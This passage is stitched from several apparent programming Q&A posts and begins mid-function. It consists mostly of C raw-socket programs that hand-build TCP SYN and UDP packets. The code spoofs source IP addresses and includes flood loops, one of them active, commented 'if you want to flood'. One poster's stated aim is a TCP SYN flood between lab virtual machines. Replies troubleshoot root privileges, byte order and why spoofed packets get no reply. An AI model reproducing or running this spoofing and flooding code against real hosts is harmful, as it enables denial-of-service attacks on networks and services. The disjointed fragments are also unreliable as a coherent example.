struct iphdr *iph = (struct iphdr *) (sendbuf + sizeof(struct ether_header));
struct tcphdr *tcph = (struct tcphdr *) (sendbuf + sizeof(struct ether_header) + sizeof(struct tcphdr));
struct sockaddr_ll socket_address;
char ifName[IFNAMSIZ];
/* Get interface name */
if (argc > 1)
strcpy(ifName, argv[1]);
else
strcpy(ifName, DEFAULT_IF);
/* Open RAW socket to send on */
if ((sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_TCP)) == -1) {
perror("socket");
}
/* Get the index of the interface to send on */
memset(&if_idx, 0, sizeof(struct ifreq));
strncpy(if_idx.ifr_name, ifName, IFNAMSIZ-1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0)
perror("SIOCGIFINDEX");
/* Get the MAC address of the interface to send on */
memset(&if_mac, 0, sizeof(struct ifreq));
strncpy(if_mac.ifr_name, ifName, IFNAMSIZ-1);
if (ioctl(sockfd, SIOCGIFHWADDR, &if_mac) < 0)
perror("SIOCGIFHWADDR");
/* get ip */
memset(&ifreq_ip,0,sizeof(ifreq_ip));
strncpy(ifreq_ip.ifr_name,ifName,IFNAMSIZ-1);
if(ioctl(sockfd,SIOCGIFADDR,&ifreq_ip)<0)
{
printf("error in SIOCGIFADDR \n");
}
/* Construct the Ethernet header */
/* Ethernet header */
eh->ether_shost[0] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[0];
eh->ether_shost[1] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[1];
eh->ether_shost[2] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[2];
eh->ether_shost[3] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[3];
eh->ether_shost[4] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[4];
eh->ether_shost[5] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[5];
eh->ether_dhost[0] = MY_DEST_MAC0;
eh->ether_dhost[1] = MY_DEST_MAC1;
eh->ether_dhost[2] = MY_DEST_MAC2;
eh->ether_dhost[3] = MY_DEST_MAC3;
eh->ether_dhost[4] = MY_DEST_MAC4;
eh->ether_dhost[5] = MY_DEST_MAC5;
/* Ethertype field */
eh->ether_type = htons(ETH_P_IP);
tx_len += sizeof(struct ether_header);
/* ip header */
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof(struct tcphdr));
iph->id = htonl (01); //Id of this packet
iph->frag_off = 0;
iph->ttl = 64;
iph->protocol = IPPROTO_TCP;
iph->check = 0;
iph->saddr = inet_addr(inet_ntoa((((struct sockaddr_in *)&(ifreq_ip.ifr_addr))->sin_addr)));
iph->daddr = inet_addr ( "127.0.0.1" );
//Ip checksum
iph->check = 0xce7c;//csum ((unsigned short *) sendbuf, iph->tot_len);
tx_len += sizeof(struct iphdr);
//tcp
tcph->source = htons (20);
tcph->dest = htons (43521);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5;
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (8192);
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
struct pseudo_header psh;
char* pseudogram;
psh.source_address = inet_addr(inet_ntoa((((struct sockaddr_in *)&(ifreq_ip.ifr_addr))->sin_addr)));
psh.dest_address = inet_addr ( "127.0.0.1" );
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr));
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr);
pseudogram = (char*)malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr));
tcph->check = csum( (unsigned short*) pseudogram , psize);
tx_len+= sizeof(struct tcphdr);
/* Index of the network device */
socket_address.sll_ifindex = if_idx.ifr_ifindex;
/* Address length*/
socket_address.sll_halen = ETH_ALEN;
/* Destination MAC */
socket_address.sll_addr[0] = MY_DEST_MAC0;
socket_address.sll_addr[1] = MY_DEST_MAC1;
socket_address.sll_addr[2] = MY_DEST_MAC2;
socket_address.sll_addr[3] = MY_DEST_MAC3;
socket_address.sll_addr[4] = MY_DEST_MAC4;
socket_address.sll_addr[5] = MY_DEST_MAC5;
socket_address.sll_family = AF_PACKET;
/* Send packet */
if (sendto(sockfd, sendbuf, tx_len, 0, (struct sockaddr*)&socket_address, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
return 0;
}
I'm trying to make a TCP SYN flood between two ubuntu machines (I'm using virtualbox, and i do have ping between the machines).
The error I get is
ERROR setting IP_HDRNICL.
ERROR number:9.
ERROR message:Bad file descriptor.
I guess it's related that I'm using virtualbox machines so how can I make this tcp syn flood to work without setting IP_HDRINCL?
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096] , source_ip[32];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
strcpy(source_ip , "192.168.56.101");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
memset (datagram, 0, 4096); /* zero out the buffer */
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htons(54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
//Now the IP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
//IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
exit(0);
}
//Uncommend the loop if you want to flood :)
//while (1)
//{
//Send the packet
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
{
printf ("error\n");
}
//Data send successfully
else
{
printf ("Packet Send \n");
}
//}
return 0;
}
You need to have root in order to use raw socket. I have the exact same error message when I run your programm without root permissions but it is working fine when launched with root permissions.
To be precise I want to construct a custom TCP packet, and setting the syn/ack values manually.
Code:
/*
Raw TCP packets
Silver Moon (m00n.silv3r#gmail.com)
*/
#include<stdio.h> //for printf
#include<string.h> //memset
#include<sys/socket.h> //for socket ofcourse
#include<stdlib.h> //for exit(0);
#include <arpa/inet.h>
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h> //Provides declarations for ip header
/*
96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
*/
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
/*
Generic checksum calculation function
*/
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (int argc, char *argv[])
{
if(argc < 6 || argc > 6){
printf("Usage: ./sendtcp [Source IP] [Source port] [Destination IP] [Destination Port] [Packet Data]\n");
return -1;
}
char sourceip [32];
char sourceports [10];
char destinationip [32];
char destinationports [10];
int sourceport = 2000;
int destinationport = 2000;
strcpy(sourceip, argv[1]);
strcpy(sourceports, argv[2]);
strcpy(destinationip, argv[3]);
strcpy(destinationports, argv[4]);
sscanf(sourceports, "%d", &sourceport);
sscanf(destinationports, "%d", &destinationport);
printf("[Sending] from %s:%d To: %s:%s\n", sourceip, sourceport, destinationip,destinationports);
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s == -1)
{
//socket creation failed, may be because of non-root privileges
perror("Failed to create socket");
exit(1);
}
//Datagram to represent the packet
char datagram[4096] , source_ip[32] , *data , *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//Data part
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
strcpy(data , argv[5]);
//some address resolution
strcpy(source_ip , sourceip);
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr (destinationip);
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
//Ip checksum
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
//TCP Header
tcph->source = htons (sourceport);
tcph->dest = htons (destinationport);
tcph->seq = 1;
tcph->ack_seq = 6;
tcph->doff = 5; //tcp header size
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 1;
tcph->urg = 0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
tcph->check = csum( (unsigned short*) pseudogram , psize);
//IP_HDRINCL to tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
perror("Error setting IP_HDRINCL");
exit(0);
}
//loop if you want to flood :)
while (1)
{
//Send the packet
if (sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror("sendto failed");
}
//Data send successfully
else
{
printf ("Packet Send. Length : %d \n" , iph->tot_len);
}
sleep(2);
}
return 0;
}
FYI: tcph->seq = 1; tcph->ack_seq = 6; is where you set the syn/ack values.
The problem is that even tho I have set the Syn=1 and Ack=6 In wireshark it appears to be seq=4227858432 Ack=100663297.
I would really appreciate you if you could tell me how are these numbers being stored and how to set my own custom value to its syn/ack values.
Alright The problem is that when I set the value of syn as tcph->seq = 1; it actually set the value as bits.
So in order for me to set a different value it should be done in network language which you can get it done with htons() or htonl().
So proper way of it would be like: tcph->seq = htonl(20); tcph->ack_seq = htonl(num);
And that pretty much did what I wanted to do :)
After hours on google I still cant figure it out.
What I am trying to do is:
I want to send UDP packets with a fake source-Ip with a C programm (see code below).
What is not working:
When I send a packet from server-1 to server-2 and trying to receive it, it will only appear in 'iftop', when the sourceip of the packet is not faked. When I put a fake ip in the UDP header it still sais me that the packet is sent (I see that on 'iftop' too on server-1), but i won't receive anything on server-2.
So for example when I send it with the correct sender IP, I'll receive the packet and see it on 'iftop', but when i take for example '1.2.3.4' as source IP i cant receive it (but 'iftop' on server-1 still says it has been send).
I read a lot of stuff and everybody says that it is no problem to fake the source IP of a UDP packet, so I'm wondering what I am doing wrong. I tried it in python too and I didn't receive anything too.
/*
Raw UDP sockets
*/
#include<stdio.h> //for printf
#include<string.h> //memset
#include<sys/socket.h> //for socket ofcourse
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/udp.h> //Provides declarations for udp header
#include<netinet/ip.h> //Provides declarations for ip header
/*
96 bit (12 bytes) pseudo header needed for udp header checksum calculation
*/
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t udp_length;
};
/*
Generic checksum calculation function
*/
unsigned short csum(unsigned short *ptr,int nbytes)
{
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket of type IPPROTO
int s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
if(s == -1)
{
//socket creation failed, may be because of non-root privileges
perror("Failed to create raw socket");
exit(1);
}
//Datagram to represent the packet
char datagram[4096] , source_ip[32] , *data , *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//UDP header
struct udphdr *udph = (struct udphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//Data part
data = datagram + sizeof(struct iphdr) + sizeof(struct udphdr);
strcpy(data , "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
//some address resolution
strcpy(source_ip , "***.***.***.***"); // <- This is the (fake-)source IP
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("***.***.***.***"); // <- Receiver IP
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct udphdr) + strlen(data);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_UDP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
//Ip checksum
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
//UDP header
udph->source = htons (45242);
udph->dest = htons (12345);
udph->len = htons(8 + strlen(data)); //tcp header size
udph->check = 0; //leave checksum 0 now, filled later by pseudo header
//Now the UDP checksum using the pseudo header
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_UDP;
psh.udp_length = htons(sizeof(struct udphdr) + strlen(data) );
int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + strlen(data);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , udph , sizeof(struct udphdr) + strlen(data));
udph->check = csum( (unsigned short*) pseudogram , psize);
//loop if you want to flood :)
//while (1)
{
//Send the packet
if (sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror("sendto failed");
}
//Data send successfully
else
{
printf ("Packet Send. Length : %d \n" , iph->tot_len);
}
}
return 0;
}
Thanks for your time.
You put a spoofed source ip - the server will receive your packets but will send the reply (or will try to send it) to the spoofed source (1.2.3.4) which, I guess , has no proper back route. Therefore , they get lost.